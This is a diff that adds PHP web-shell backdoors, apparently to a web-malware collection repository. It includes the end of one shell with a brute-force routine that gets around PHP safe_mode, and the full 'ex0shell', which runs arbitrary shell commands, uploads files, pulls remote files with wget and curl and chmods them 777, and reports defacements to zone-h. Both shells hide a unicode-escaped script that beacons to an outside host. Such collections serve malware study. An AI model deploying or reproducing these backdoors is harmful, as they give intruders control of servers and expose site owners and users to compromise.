+die("Can't open imap stream"); +$string = explode("|",$string); +if (count($string) > 1) +$dir_list = imap_list($stream, trim($string[0]), trim($string[1])); +else +$dir_list = imap_list($stream, trim($string[0]), "*"); +echo "<pre>"; +for ($i = 0; $i < count($dir_list); $i++) +echo "$dir_list[$i]"."<p>&nbsp;</p>" ; +echo "</pre>"; +imap_close($stream); +echo "</textarea>"; +} +$tb->tdbody ("</td></tr></table>"); +// open dir // +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Exploit: Open dir </b></td></tr></table>','center','top'); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'); + +if(empty($_POST['m'])){ +echo "<div><FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'> +<table id=tb><tr><td><FONT COLOR=\"#9B9B9B\">path dir</FONT> +<INPUT type='text' name='m' size=70 value='./'> +<INPUT type='submit' value='show' id=input></td></tr></table></form></div>"; + +} else { +$m=$_POST['m']; +$spath = $m ; +$path = $m ; + + + + + $method = intval(trim($_POST['method'])); + + $handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file = readdir($handle))) + { + $full_path = "$path/$file"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0777')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file; + + $i++; + } + } + } + + + closedir($handle); + clearstatcache(); + + + + echo '<strong><FONT COLOR=#9B9B9B>The folders is 777 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0755')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 755 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0644')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 644 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0750')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 750 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0604')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 604 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0705')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 705 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0606')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 606 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } +////////// +$handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + if ((is_dir($full_path)) && ($perms == '0703')) + { + if (!file_exists('.*')) { + + $_folders[$i] = $file1; + + $i++; + } + } + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 703 :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } + + + + } + $handle = opendir($path); + + $_folders = array(); + + $i = 0; + + while (false !== ($file1 = readdir($handle))) + { + $full_path = "$path/$file1"; + $perms = substr(sprintf('%o', fileperms($full_path)), -4); + + + + + $_folders[$i] = $file1; + + $i++; + + + } + + + + clearstatcache(); + + + + echo '</FONT><strong><FONT COLOR=#9B9B9B>www.alturks.com :</strong><br />'; + + foreach ($_folders as $folder) + { + echo $folder.'<br />'; + } + + echo '</FONT><strong><FONT COLOR=#9C9C9C>ernealizm: </strong>'.$i.'</FONT><br />'; +$tb->tdbody ("</td></tr></table>"); + +$tb->tableheader(); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Exploit: break fucking safe-mode </b></td></tr></table>','center','top'); +$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'); + + + error_reporting(E_WARNING); + ini_set("display_errors", 1); + + echo "<head><title>".getcwd()."</title></head>"; + + echo "<form method=POST>"; + echo "<div style='float: left'><FONT COLOR=\"#9B9B9B\">Root directory: </FONT><input type=text name=root value='{$_POST['root']}'></div>"; + echo "<input type=submit value='--&raquo;'></form>"; + + + + // break fucking safe-mode ! + + $root = "/"; + + if($_POST['root']) $root = $_POST['root']; + + if (!ini_get('safe_mode')) die("<font size=-2 face=verdana color='#9B9B9B'>Safe-mode is OFF.</font>"); +echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; + $c = 0; $D = array(); + set_error_handler("eh"); + + $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + for($i=0; $i < strlen($chars); $i++){ + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}"; + + $prevD = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD){ + + for($j=0; $j < strlen($chars); $j++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}"; + + $prevD2 = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD2){ + + + for($p=0; $p < strlen($chars); $p++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; + + $prevD3 = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD3){ + + + for($r=0; $r < strlen($chars); $r++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; + glob($path."*"); + + } + + } + + } + + } + + } + + } + + } + + $D = array_unique($D); + + + foreach($D as $item) echo "{$item}\n"; + + + + + + function eh($errno, $errstr, $errfile, $errline){ + + global $D, $c, $i; + preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o); + if($o){ $D[$c] = $o[2]; $c++;} + + } + echo "</textarea>"; +$tb->tdbody ("</td></tr></table>"); +?> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/ex0shell.txt b/web-malware-collection-master/Backdoors/PHP/ex0shell.txt new file mode 100755 index 0000000..65c8bf6 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/ex0shell.txt @@ -0,0 +1,603 @@ +<? +/*########################################### +exoshell volume 2.1S + +Maked In Turk Edited And Translated By KingDefacer +###########################################*/ + +error_reporting(0); +set_magic_quotes_runtime(0); + +if(version_compare(phpversion(), '4.1.0') == -1) + {$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"]; +if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);} +elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;} +else{return $requ."?".$link."=".$val;}} +function delm($delmtxt){print"<center><table bgcolor=Black style='border:1px solidDeepSkyBlue ' width=99% height=2%>";print"<tr><td><b><center><font size=3 color=DeepSkyBlue >$delmtxt</td></tr></table></center>";} +function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd); +$nscmd=htmlspecialchars($scmd);print $nscmd;} +elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd); +$ecmd = join("\n",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;} +elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r"); +while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));; +print $res;}pclose($pcmd);}elseif(!function_exists(popen)){ +ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){ +ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean(); +print htmlspecialchars($pret);}} +function input($type,$name,$value,$size) +{if (empty($value)){print "<input type=$type name=$name size=$size>";} +elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";} +elseif(empty($size)){print "<input type=$type name=$name value=$value >";} +else {print "<input type=$type name=$name value=$value size=$size >";}} +function permcol($path){if (is_writable($path)){print "<font color=red>"; +callperms($path); print "</font>";} +elseif (!is_readable($path)&&!is_writable($path)){print "<font color=DeepSkyBlue >"; +callperms($path); print "</font>";} +else {print "<font color=DeepSkyBlue >";callperms($path);}} +if ($dlink=="dwld"){download($_REQUEST['dwld']);} +function download($dwfile) {$size = filesize($dwfile); +@header("Content-Type: application/force-download;name=$dwfile"); +@header("Content-Transfer-Encoding: binary"); +@header("Content-Length: $size"); +@header("Content-Disposition: attachment; filename=$dwfile"); +@header("Expires: 0"); +@header("Cache-Control: no-cache, must-revalidate"); +@header("Pragma: no-cache"); +@readfile($dwfile); exit;} +?> +<html> +<head><title>ex0shell Shell & Edited By KingDefacer</title></head> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> +<style> +BODY {font-family:tahoma; SCROLLBAR-BASE-COLOR: DeepSkyBlue ; SCROLLBAR-ARROW-COLOR: red; } +a{color:#dadada;text-decoration:none;font-family:tahoma;font-size:13px} +a:hover{color:red} +input{FONT-WEIGHT:normal;background-color: #000000;font-size: 12px; color: #dadada; font-family: Tahoma; border: 1px solid #666666;height:17} +textarea{background-color:#191919;color:#dadada;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1 solid #666666;} +div{font-size:12px;font-family:tahoma;font-weight:normal;color:DeepSkyBlue smoke} +select{background-color: #191919; font-size: 12px; color: #dadada; font-family: Tahoma; border: 1 solid #666666;font-weight:bold;}</style> +<body bgcolor=black text=DeepSkyBlue ><font face="sans ms" size=3> +</body> +</html> +<? +$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd(); + +$sf="<form method=post>";$ef="</form>"; +$st="<table style=\"border:1px #dadada solid \" width=100% height=100%>"; +$et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">"; +$c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>"; +$sta="<textarea cols=157 rows=23>";$eta="</textarea>"; +$sfnt="<font face=tahoma size=2 color=DeepSkyBlue >";$efnt="</font>"; +################# Ending of common variables ######################## + +print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<b><center><font face=tahoma color=DeepSkyBlue size=6> ## ex0 shell EDITED BY KingDefacer ## +</font></b></center>"; print"</td></tr>";print"</table>";print "<br>"; +print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<center><div><b>";print "<a href=".inclink('dlink', 'home').">Home</a>"; +print " - <a href='javascript:history.back()'>Back</a>"; +print " - <a target='_blank' href=".inclink('dlink', 'phpinfo').">phpinfo</a>"; +if ($dlink=='phpinfo'){print phpinfo();die();} +print " - <a href=".inclink('dlink', 'basepw').">Base64 decode</a>"; +print " - <a href=".inclink('dlink', 'urld').">Url decode</a>"; +print " - <a href=".inclink('dlink', 'urlen').">Url encode</a>"; +print " - <a href=".inclink('dlink', 'mdf').">Md5</a>"; +print " - <a href=".inclink('dlink', 'perm')."&scdir=$nscdir>Check permissions</a>"; +print " - <a href=".inclink('dlink', 'showsrc')."&scdir=$nscdir>File source</a>"; +print " - <a href=".inclink('dlink', 'qindx')."&scdir=$nscdir>Quick index</a>"; +print " - <a href=".inclink('dlink', 'zone')."&scdir=$nscdir>Zone-h</a>"; +print " - <a href=".inclink('dlink', 'mail')."&scdir=$nscdir>Mail</a>"; +print " - <a href=".inclink('dlink', 'cmdhlp')."&scdir=$nscdir>Cmd help</a>"; +if (isset ($_REQUEST['ncbase'])){$cbase =(base64_decode ($_REQUEST['ncbase'])); +print "<p>Result is : $sfnt".$cbase."$efnt"; die();} +if ($dlink=="basepw"){ print "<p><b>[ Base64 - Decoder ]</b>"; +print $sf;input ("text","ncbase",$ncbase,35);print " "; +input ("submit","","Decode","");print $ef; die();} +if (isset ($_REQUEST['nurld'])){$urldc =(urldecode ($_REQUEST['nurld'])); +print "<p>Result is : $sfnt".$urldc."$efnt"; die();}if ($dlink=='urld'){ +print "<p><b>[ Url - Decoder ]</b>"; print $sf; +input ("text","nurld",$nurld,35);print " "; +input ("submit","","Decode","");print $ef; die();} +if (isset ($_REQUEST['nurlen'])){$urlenc =(urlencode (stripslashes($_REQUEST['nurlen']))); print "<p>Result is : $sfnt".$urlenc."$efnt"; die();} +if ($dlink=='urlen'){print "<p><b>[ Url - Encoder ]</b>"; +print $sf;input ("text","nurlen",$nurlen,35);print " "; input ("submit","","Encode","");print $ef; die();} +if (isset ($_REQUEST['nmdf'])){$mdfe =(md5 ($_REQUEST['nmdf'])); +print "<p>Result is : $sfnt".$mdfe."$efnt"; die();}if ($dlink=='mdf'){ +print "<p><b>[ MD5 - Encoder ]</b>"; +print $sf;input ("text","nmdf",$nmdf,35);print " "; +input ("hidden","scdir",$scdir,22); input ("submit","","Encode","");print $ef;die(); }if ($dlink=='perm'){print $sf;input("submit","mfldr","Main-fldr","");print " ";input("submit","sfldr","Sub-fldr","");print $ef; +print "<pre>";print "<p><textarea cols=120 rows=12>"; +if (isset($_REQUEST['mfldr'])){callfuncs('find . -type d -perm -2 -ls'); +}elseif (isset($_REQUEST['sfldr'])){callfuncs('find ../ -type d -perm -2 -ls'); +}print "</textarea>";print "</pre>";die();} +function callshsrc($showsc){if(isset($showsc)&&filesize($showsc)=="0"){ +print "<p><b>[ Sorry, U choosed an empty file or the file not exists ]";die();} +elseif(isset($showsc)&&filesize($showsc) !=="0") { +print "<p><table width=100% height=10% bgcolor=#dadada border=1><tr><td>"; +if (!show_source($showsc)||!function_exists('show_source')){print "<center><font color=black size=2><b>[ Sorry can't complete the operation ]</font></center>";die();}print "</td></tr></table>";die();}}if ($dlink=='showsrc'){ +print "<p><b>: Choose a php file to view in a color mode, any extension else will appears as usual :";print "<form method=get>"; +input ("text","showsc","",35);print " "; +input ("hidden","scdir",$scdir,22);input ("submit","subshsc","Show-src","");print $ef; die();}if(isset($_REQUEST['showsc'])){callshsrc(trim($_REQUEST['showsc']));} +if ($dlink=='cmdhlp'){ +print "<p><b>: Insert the command below to get help or to know more about it's uses :";print "<form method=get>"; +input ("text","hlp","",35);print " "; +input ("submit","","Help","");print $ef; die();} +if (isset ($_REQUEST['hlp'])){$hlp=$_REQUEST['hlp']; +print "<p><b>[ The command is $sfnt".$hlp."$efnt ]"; +$hlp = escapeshellcmd($hlp);print "<p><table width=100% height=30% bgcolor=#dadada border=2><tr><td>"; +if (!function_exists(shell_exec)&&!function_exists(exec)&& +!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru)) +{print "<center><font color=black size=2><b>[ Sorry can't complete the operation ]</font></center>";}else {print "<pre><font color=black>"; +if(!callfuncs("man $hlp | col -b")){print "<center><font size=2><b>[ Finished !! ]";}print "</pre></font>";}print "</td></tr></table>";die();} +if (isset($_REQUEST['indx'])&&!empty($_REQUEST['indxtxt'])) +{if (touch ($_REQUEST['indx'])==true){ +$fp=fopen($_REQUEST['indx'],"w+");fwrite ($fp,stripslashes($_REQUEST['indxtxt'])); +fclose($fp);print "<p>[ $sfnt".$_REQUEST['indx']."$efnt created successfully !! ]</p>";print "<b><center>[ <a href='javascript:history.back()'>Yeniden Editle</a> +] -- [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</center></b>";die(); }else {print "<p>[ Sorry, Can't create the index !! ]</p>";die();}} +if ($dlink=='qindx'&&!isset($_REQUEST['qindsub'])){ +print $sf."<br>";print "<p><textarea cols=50 rows=10 name=indxtxt> +Your index contents here</textarea></p>"; +input ("text","indx","Index-name",35);print " "; +input ("submit","qindsub","Create","");print $ef;die();} +if (isset ($_REQUEST['mailsub'])&&!empty($_REQUEST['mailto'])){ +$mailto=$_REQUEST['mailto'];$subj=$_REQUEST['subj'];$mailtxt=$_REQUEST['mailtxt']; +if (mail($mailto,$subj,$mailtxt)){print "<p>[ Mail sended to $sfnt".$mailto." $efnt successfully ]</p>"; die();}else {print "<p>[ Error, Can't send the mail ]</p>";die();}} elseif(isset ($mailsub)&&empty($mailto)) {print "<p>[ Error, Can't send the mail ]</p>";die();} +if ($dlink=='mail'&&!isset($_REQUEST['mailsub'])){ +print $sf."<br>";print "<p><textarea cols=50 rows=10 name=mailtxt> +Your message here</textarea></p>";input ("text","mailto","example@mail.com",35);print " ";input ("text","subj","Title-here",20);print " "; +input ("submit","mailsub","Send-mail","");print $ef;die();} +if (isset($_REQUEST['zonet'])&&!empty($_REQUEST['zonet'])){callzone($nscdir);} +function callzone($nscdir){ +if (is_writable($nscdir)){$fpz=fopen ("z.pl","w");$zpl='z.pl';$li="bklist.txt";} +else {$fpz=fopen ("/tmp/z.pl","w");$zpl='/tmp/z.pl';$li="/tmp/bklist.txt";} +fwrite ($fpz,"\$arq = @ARGV[0]; +\$grupo = @ARGV[1]; +chomp \$grupo; +open(a,\"<\$arq\"); +@site = <a>; +close(a); +\$b = scalar(@site); +for(\$a=0;\$a<=\$b;\$a++) +{chomp \$site[\$a]; +if(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; } +print \"[+] Sending \$site[\$a]\n\"; +use IO::Socket::INET; +\$sock = IO::Socket::INET->new(PeerAddr => \"old.zone-h.org\", PeerPort => 80, Proto => \"tcp\") or next; +print \$sock \"POST /en/defacements/notify HTTP/1.0\r\n\"; +print \$sock \"Accept: */*\r\n\"; +print \$sock \"Referer: http://old.zone-h.org/en/defacements/notify\r\n\"; +print \$sock \"Accept-Language: pt-br\r\n\"; +print \$sock \"Content-Type: application/x-www-form-urlencoded\r\n\"; +print \$sock \"Connection: Keep-Alive\r\n\"; +print \$sock \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\"; +print \$sock \"Host: old.zone-h.org\r\n\"; +print \$sock \"Content-Length: 385\r\n\"; +print \$sock \"Pragma: no-cache\r\n\"; +print \$sock \"\r\n\"; +print \$sock \"notify_defacer=\$grupo&notify_domain=http%3A%2F%2F\$site[\$a]&notify_hackmode=22&notify_reason=5&notify=+OK+\r\n\"; +close(\$sock);}"); +if (touch ($li)==true){$fpl=fopen($li,"w+");fwrite ($fpl,$_REQUEST['zonetxt']); +}else{print "<p>[ Can't complete the operation, try change the current dir with writable one ]<br>";}$zonet=$_REQUEST['zonet']; +if (!function_exists(exec)&&!function_exists(shell_exec)&&!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru)) +{print "[ Can't complete the operation !! ]";} +else {callfuncs("chmod 777 $zpl;chmod 777 $li"); +ob_start();callfuncs("perl $zpl $li $zonet");ob_clean(); +print "<p>[ All sites should be sended to zone-h.org successfully !! ]";die();} +}if ($dlink=='zone'&&!isset($_REQUEST['zonesub'])){ +print $sf."<br>";print "<p><pre><textarea cols=50 rows=10 name=zonetxt> +www.site1.com +www.site2.com +</textarea></pre></p>";input ("text","zonet","Hacker-name",35);print " "; +input ("submit","zonesub","Send","");print $ef;die();} +print "</div></b></center>"; print"</td></tr>";print"</table>";print "<br>"; +function inisaf($iniv) { $chkini=ini_get($iniv); +if(($chkini || strtolower($chkini)) !=='on'){print"<font color=green ><b>OFF ( NOT SECURITY )</b></font>";} else{ +print"<font color=red><b>Acik ( Guvenli )</b></font>";}}function inifunc($inif){$chkin=ini_get($inif); +if ($chkin==""){print " <font color=red><b>None</b></font>";} +else {$nchkin=wordwrap($chkin,40,"\n", 1);print "<b><font color=DeepSkyBlue >".$nchkin."</font></b>";}}function callocmd($ocmd,$owhich){if(function_exists(exec)){$nval=exec($ocmd);}elseif(!function_exists(exec)){$nval=shell_exec($ocmd);} +elseif(!function_exists(shell_exec)){$opop=popen($ocmd,'r'); +while (!feof($opop)){ $nval= fgetc($opop);}} +elseif(!function_exists(popen)){ ob_start();system($ocmd);$nval=ob_get_contents();ob_clean();}elseif(!function_exists(system)){ +ob_start();passthru($ocmd);$nval=ob_get_contents();ob_clean();} +if($nval=$owhich){print"<font color=red><b>ON</b></font>";} +else{print"<font color=DeepSkyBlue ><b>OFF</b></font>";} } +print"<table bgcolor=#191919 style=\"border:2px #dadada solid ;font-size:13px;font-family:tahoma \" width=100% height=%>"; +print"<tr><td>"; print"<center><br>"; +print"<b>Safe-mode :\t";print inisaf('safe_mode');print "</b>";print"</center>"; +if (!function_exists(exec)&&!function_exists(shell_exec)&&!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru)||strstr(PHP_OS,"WIN")){print "";}else{print "<table bgcolor=#191919 width=100% height=% style='font-size:13px;font-family:tahoma'><tr><td>"; +print "<div align=center>"; print"<br><b>Mysql : </b>"; +callocmd('which mysql','/usr/bin/mysql'); +print"</td>"; print"<td>"; print"<br><b>Perl : </b>"; +callocmd('which perl',('/usr/bin/perl')||'/usr/local/bin/perl');print"</td>"; print"<td>"; print"<br><b>Gcc : </b>"; +callocmd('which gcc','/usr/bin/gcc'); print"</td>"; print"<td>"; +print"<br><b>Curl : </b>"; callocmd('which curl','/usr/bin/curl'); print"</td>"; print"<td>"; print"<br><b>GET : </b>"; +callocmd('which GET','/usr/bin/GET'); +print"</td>"; print"<td>";print"<br><b>Wget : </b>"; +callocmd('which wget','/usr/bin/wget'); +print"</td>"; print"<td>"; print"<br><b>Lynx : </b>"; +callocmd('which lynx','/usr/bin/lynx'); +print"</td>"; print "</tr></table>"; }print "<hr><br>"; +print "<b>YOUR IP: ".$REMOTE_ADDR."<br></b>"; +print "<b>Server IP : ".$SERVER_ADDR."</b>"; +print"<br><b>".$SERVER_SIGNATURE."</b>"; +print "<b>Server NAME : ".$SERVER_NAME." / "."Email : ".$SERVER_ADMIN."<br></b>"; +print "<b>Disabled Functions : </b>";inifunc(disable_functions);print"<br>"; +print "<b>Your Infos : <b>"; callfuncs('id');print"<br><b>Os : </b>"; +if (strstr( PHP_OS, "WIN")){print php_uname(); print " ";print PHP_OS; }else { +if (!function_exists(shell_exec)&&!function_exists(exec)&& +!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru)) +{print php_uname(); print "/";print PHP_OS;} +else {callfuncs('uname -a');}}print"<br>"; +print"Php-Version : ".phpversion(); print"<br><b>Current-path : </b>"; +print $nscdir."&nbsp;&nbsp;&nbsp;&nbsp; [ ";permcol($nscdir);print " ]"; +print"<br>";print "Your shells location : " .__file__; +print"<br> Disc Spase: "; readable_size(disk_total_space($nscdir));print " / "; +print"Bos Alan: "; readable_size(disk_free_space($nscdir)); +print "</center><br></font>"; print"</td></tr></table><br>"; +if (isset($_REQUEST['credir'])) { $ndir=trim($_REQUEST['dir']); +if (mkdir( $ndir, 0777 )){ $mess=basename($ndir)." created successfully"; } +else{$mess="Make Dir/ Delete";}}elseif (isset($_REQUEST['deldir'])) +{ $nrm=trim($_REQUEST['dir']);if (is_dir($nrm)&& rmdir($nrm)){$mess=basename($nrm)." deleted successfully"; }else{$mess="Create/Delete Dir";}} +else{$mess="Make Dir/ Delete";}if(isset($_REQUEST['crefile'])){ +$ncfile=trim($_REQUEST['cfile']); +if (!is_file($ncfile)&&touch($ncfile)){ $mess3=basename($ncfile)." created succefully";unset ($_REQUEST['cfile']);} +else{ $mess3= "Make a File/ Delete";}} +elseif(isset($_REQUEST['delfile'])){ +$ndfile=trim($_REQUEST['cfile']); +if (unlink($ndfile)) {$mess3=basename($ndfile)." deleted succefully";} +else {$mess3= "Make Dir/ Delete";}} +else {$mess3="Make a File/ Delete";} +class upload{ function upload($file,$tmp){ +$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();if (isset($_REQUEST["up"])){ if (empty($upfile)){print "";} +if (@copy($tmp,$nscdir."/".$file)){ +print "<div><center><b>:<font color=DeepSkyBlue > $file </font>uploaded successfully :</b></center></div>"; }else{print "<center><b>: Error uploading<font color=red> $file </font>: </b></center>";} } } } +$obj=new upload($HTTP_POST_FILES['upfile']['name'],$HTTP_POST_FILES['upfile']['tmp_name']); if (isset ($_REQUEST['ustsub'])){ +$ustname=trim ($_REQUEST['ustname']);ob_start(); +if ($_REQUEST['ustools']='t1'){callfuncs('wget '.$ustname);} +if ($_REQUEST['ustools']='t2'){callfuncs('curl -o basename($ustname) $ustname');} +if ($_REQUEST['ustools']='t3'){callfuncs('lynx -source $ustname > basename($ustname)');} +if ($_REQUEST['ustools']='t9'){callfuncs('GET $ustname > basename($ustname)');} +if ($_REQUEST['ustools']='t4'){callfuncs('unzip '.$ustname);} +if ($_REQUEST['ustools']='t5'){callfuncs('tar -xvf '.$ustname);} +if ($_REQUEST['ustools']='t6'){callfuncs('tar -zxvf '.$ustname);} +if ($_REQUEST['ustools']='t7'){callfuncs('chmod 777 '.$ustname);} +if ($_REQUEST['ustools']='t8'){callfuncs('make '.$ustname);}ob_clean();} +if (!isset($_REQUEST['cmd'])&&!isset($_REQUEST['eval'])&&!isset($_REQUEST['rfile'])&&!isset($_REQUEST['edit'])&&!isset($_REQUEST['subqcmnds'])&&!isset ($_REQUEST['safefile'])&&!isset ($_REQUEST['inifile'])&&!isset($_REQUEST['bip'])&& +!isset($_REQUEST['rfiletxt'])){ +if ($dh = dir($nscdir)){ while (true == ($filename =$dh->read())){ +$files[] = $filename; sort($files);}print "<br>"; +print"<center><table bgcolor=#2A2A2A style=\"border:1px solid black\" width=100% height=6% ></center>"; +print "<tr><td width=43% style=\"border:1px solid black\">"; +print "<center><b>Files";print "</td>"; +print "<td width=8% style=\"border:1px solid black\">";print "<center><b>Size";print "</td>"; +print "<td width=3% style=\"border:1px solid black\">";print "<center><b>Write";print "</td>"; +print "<td width=3% style=\"border:1px solid black\">";print "<center><b>Read";print "</td>"; +print "<td width=5% style=\"border:1px solid black\">";print "<center><b>Type";print "</td>"; +print "<td width=5% style=\"border:1px solid black\">";print "<center><b>Edit";print "</td>"; +print "<td width=5% style=\"border:1px solid black\">";print "<center><b>Rename";print "</td>"; +print "<td width=6% style=\"border:1px solid black\">";print "<center><b>Download";print "</td>";if(strstr(PHP_OS,"Linux")){ +print "<td width=8% style=\"border:1px solid black\">";print "<center><b>Owner";print "</td>";} +print "<td width=8% style=\"border:1px solid black\">";print "<center><b>Permission";print "</td></tr>"; foreach ($files as $nfiles){ +if (is_file("$nscdir/$nfiles")){ 